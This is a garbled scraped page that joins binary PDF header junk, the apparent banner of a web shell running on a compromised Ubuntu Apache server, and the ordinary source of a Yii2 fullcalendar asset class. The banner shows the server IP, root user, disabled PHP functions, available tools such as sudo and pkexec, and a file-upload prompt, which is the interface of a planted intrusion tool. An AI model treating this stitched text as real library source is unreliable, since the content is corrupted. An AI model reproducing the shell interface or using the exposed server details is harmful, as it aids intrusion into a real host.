%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11585/cwd/html/ppaobm/vendor/philippfrenzel/yii2fullcalendar/ |
Upload File : |
<?php namespace yii2fullcalendar; use Yii; use yii\web\AssetBundle; /** * @link http://www.frenzel.net/ * @author Philipp Frenzel <philipp@frenzel.net> */ class CoreAsset extends AssetBundle { /** * [$sourcePath description] * @var string */ public $sourcePath = '@bower/fullcalendar/dist'; /** * the language the calender will be displayed in * @var string ISO2 code for the wished display language */ public $language = NULL; /** * [$autoGenerate description] * @var boolean */ public $autoGenerate = true; /** * tell the calendar, if you like to render google calendar events within the view * @var boolean */ public $googleCalendar = false; /** * [$css description] * @var array */ public $css = [ 'fullcalendar.min.css', ]; /** * [$js description] * @var array */ public $js = [ 'fullcalendar.js', 'locale-all.js', ]; /** * [$depends description] * @var array */ public $depends = [ 'yii\web\YiiAsset', 'yii2fullcalendar\MomentAsset', 'yii2fullcalendar\PrintAsset' ]; /** * @inheritdoc */ public function registerAssetFiles($view) { $language = $this->language ? $this->language : Yii::$app->language; if (strtoupper($language) != 'EN-US') { $this->js[] = "locale/{$language}.js"; } if($this->googleCalendar) { $this->js[] = 'gcal.js'; } parent::registerAssetFiles($view); } }